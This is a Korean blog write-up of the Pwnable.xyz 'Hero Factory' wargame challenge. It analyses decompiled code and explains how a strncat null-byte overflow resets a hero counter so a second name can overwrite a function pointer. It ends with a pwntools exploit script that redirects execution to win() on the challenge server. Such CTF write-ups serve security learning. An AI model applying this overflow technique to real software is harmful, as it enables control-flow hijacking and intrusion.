tmxklab

[Pwnable.xyz] Hero Factory 본문

War Game/Pwnable.xyz

[Pwnable.xyz] Hero Factory

tmxk4221 2020. 9. 9. 22:30

1. 문제

nc svc.pwnable.xyz 30032

 

1) mitigation 확인

 

2) 문제 확인

 

3) 코드흐름 파악

3-1) main()

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax

  setup(argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      printMenu();
      v3 = getInt();
      if ( v3 != 2 )
        break;
      usePower();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        deleteHero();
      }
      else
      {
        if ( v3 == 4 )
        {
          puts("goodbye!");
          exit(1);
        }
LABEL_14:
        puts("not a valid command!\n");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_14;
      createHero();
    }
  }
}
  • 메뉴 1 : createHero() / 메뉴 2 : userPower() / 메뉴 3 : deleteHero()

 

3-2) createHero()

unsigned __int64 createHero()
{
  char *v0; // rax
  int v1; // eax
  int size; // [rsp+4h] [rbp-7Ch]
  char buf; // [rsp+10h] [rbp-70h]
  int v5; // [rsp+70h] [rbp-10h]
  unsigned __int64 v6; // [rsp+78h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  memset(&buf, 0, 0x60uLL);
  v5 = 0;
  if ( count )
  {
    puts("Br0, you already have a hero...");
    return __readfsqword(0x28u) ^ v6;
  }
  ++count;
  puts("How long do you want your superhero's name to be? ");
  size = getInt();
  if ( size < 0 || size > 100 )
  {
    puts("Bad size!");
    return __readfsqword(0x28u) ^ v6;
  }
  printf("Great! Please enter your hero's name: ");
  read(0, &buf, size);
  v0 = strchr(heroName, 0);
  strncat(v0, &buf, 0x64uLL);
  printSuperPowers();
  v1 = getInt();
  if ( v1 == 2 )
  {
    technique = crossfit;
    strcpy(&myHero, "crossfit");
    goto LABEL_19;
  }
  if ( v1 <= 2 )
  {
    if ( v1 != 1 )
      goto LABEL_17;
    technique = hadouken;
    strcpy(&myHero, "hadouken");
LABEL_19:
    puts("Superhero successfully created!");
    return __readfsqword(0x28u) ^ v6;
  }
  if ( v1 == 3 )
  {
    technique = wrestle;
    strcpy(&myHero, "wrestling");
    goto LABEL_19;
  }
  if ( v1 == 4 )
  {
    technique = floss;
    strcpy(&myHero, "flossing");
    goto LABEL_19;
  }
LABEL_17:
  puts("not a valid power!");
  if ( count )
    zeroHero();
  return __readfsqword(0x28u) ^ v6;
}
  • count(전역변수)에 값이 존재하면 이미 hero가 있으므로 return된다.
  • count에 값이 존재하지 않으면 count를 증가시킨다.
  • heron name에 대한 size(범위 : 0 ~ 100)를 입력 값으로 받는다.
  • read()를 통해 buf에 size만큼 입력 값을 받음
  • strchr()를 통해 heroName(전역변수)에 널 바이트를 찾아서 포인터를 반환
  • strncat(v0, buf, 0x64)를 통해 v0에 buf의 값을 0x64만큼 이어붙임
  • v1의 값에 따라 technique(전역 변수)에 각 함수 포인터를 저장하고 myHero(전역변수)에 각 문자열을 저장한 다음 리턴
  • v1의 값이 1 ~ 4를 제외한 다른 값이고 count에 값이 존재하면 zeroHero()호출

 

3-3) usePower()

int usePower()
{
  if ( !count )
    return puts("You don't even have a hero right now....");
  puts("Your hero uses his ability...");
  return technique();
}
  • count의 값이 0이면 puts()를 통해 문자열을 출력하고 바로 리턴
  • count의 값이 1이면 puts()를 통해 문자열을 출력하고 technique()를 실행

 

3-4) deleteHero()

int deleteHero()
{
  char v1; // [rsp+Fh] [rbp-1h]

  if ( !count )
    return puts("Stop wasting my time.");
  printHero();
  printf("\nAre you sure you want to destroy your hero? (y/n) ");
  v1 = getchar();
  if ( v1 != 'y' && v1 != 'Y' )
    return puts("Stop wasting my time.");
  zeroHero();
  return puts("Hero successfully destroyed!");
}
  • count의 값이 0이면 puts()를 통해 문자열을 출력하고 바로 리턴
  • 첫 번째 if문이 통과하고 y를 입력하면 zeorHero()실행

 

3-5) zeroHero()

__int64 zeroHero()
{
  memset(&myHero, 0, 0x14uLL);
  memset(heroName, 0, 0x64uLL);
  return --count;
}
  • myHero, heroName을 memset하고 count감소

 

전역변수)

  • myHero : 0x602200 → 스킬 이름을 저장(ex) "hadouken", "wrestling", ..)
  • word_602208 : 0x602208 → ?모르겟음
  • heroName : 0x602214 → hero 이름을 저장
  • count : 0x602278 → hero개수를 저장
  • technique : 0x602280 → 스킬 함수 포인터 저장(ex) hadouken(), wrestling())

 


2. 접근방법

 

요약)

  • createHero() : 하나의 hero를 생성하여 hero 이름, 스킬 명, 스킬 함수를 전역변수에 저장한다. 여러 개의 hero 생성 불가능 → count로 제어
  • usePower() : hero가 존재하면 technique(전역변수)에 저장된 스킬 함수 실행
  • deleteHero() : hero가 존재하고 y를 누르면 zeroHero()실행
  • zeroHero() : 전역변수에 있는 heroName, myHero를 memset을 통해 0으로 초기화하고 count를 감소시킨다.

 

주의 깊게 봐야할 부분은 usePower()에서 technique(전역변수)에 저장된 스킬 함수 주소를 호출하는 부분이다. 이 부분을 스킬 함수 주소 대신에 win함수로 바꾸면 될 듯하다.

 

technique변수 위에는 count, heroName, ..이 존재한다. createHero()에서 heroName에 최대 0x64byte 까지 입력을 받을 수 있다. 그리고 히어로를 1개 생성하고 다시 생성할 때 count값이 1로 세팅되었기 때문에 히어로를 생성하지 못한다.

 

만약에 1개의 히어로를 생성하고 count값이 1이 아니라 0으로 세팅되면 1개의 히어로를 더 생성할 수 있고 heroName의 문자열에 계속 이어붙여서 technique변수까지 overflow를 발생할 수 있다.

 

 

1) createHero()에서 발생하는 로직 버그

read(0, &buf, size);
v0 = strchr(heroName, 0);
strncat(v0, &buf, 0x64uLL);
  • buf에 size만큼 입력 값을 받고 heroName에 buf의 값을 0x64만큼 이어붙이는 로직이다.
  • strncat()는 문자열을 서로 붙이고 문자열 끝에 널 바이트를 붙이게 된다.
  • 만약에 buf에 0x64만큼 입력 값을 받으면 heroName[0x64]에는 널 바이트가 들어갈 것이다. 그리고 heroName[0x64]에는 count가 존재

 

확인)

  • 현재 createHero()를 호출하고 이름을 입력받기 직전이다.
  • 그리고 heroName(0x602214)으로부터 0x64만큼 떨어진 곳에 count(0x602278)에 1로 초기화된 것을 확인할 수 있다.

  • buf에 0x64만큼 입력 값을 받고 strncat()을 수행한 이후에 count에 0으로 초기화된 것을 확인할 수 있다.

 

공격 프로세스)

  • createHero() → heroName에 0x64만큼 입력하여 count를 0으로 세팅
  • createHero() → overflow를 일으켜 technique에 win()주소 세팅
  • usePower() 실행

 

 


3. 풀이

 

1) 익스코드

from pwn import *

context.log_level = "debug"

#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30032)
#gdb.attach(p)
e = ELF("./challenge")
win_addr = e.symbols['win']

# 1. setting count is null
p.sendlineafter("> ", str(1))
p.sendlineafter("be? \n", str(100))
p.sendafter("name: ", "A"*0x64)
p.sendlineafter("> ", str(1))

# 2. overflow!! setting technique is win()
p.sendlineafter("> ", str(1))
p.sendlineafter("be? \n", str(16))
p.sendafter("name: ", "A"*7+p64(win_addr))
p.sendlineafter("> ", str(10))

# 3. execute win()
p.sendlineafter("> ", str(2))

p.interactive()

 

2) 실행결과

 


4. 몰랐던 개념

'War Game > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] nin  (0) 2020.09.09
[Pwnable.xyz] Dirty Turtle  (0) 2020.09.09
[Pwnable.xyz] note v2  (0) 2020.09.09
[Pwnable.xyz] executioner v2  (0) 2020.09.09
[Pwnable.xyz] badayum  (0) 2020.09.09
Comments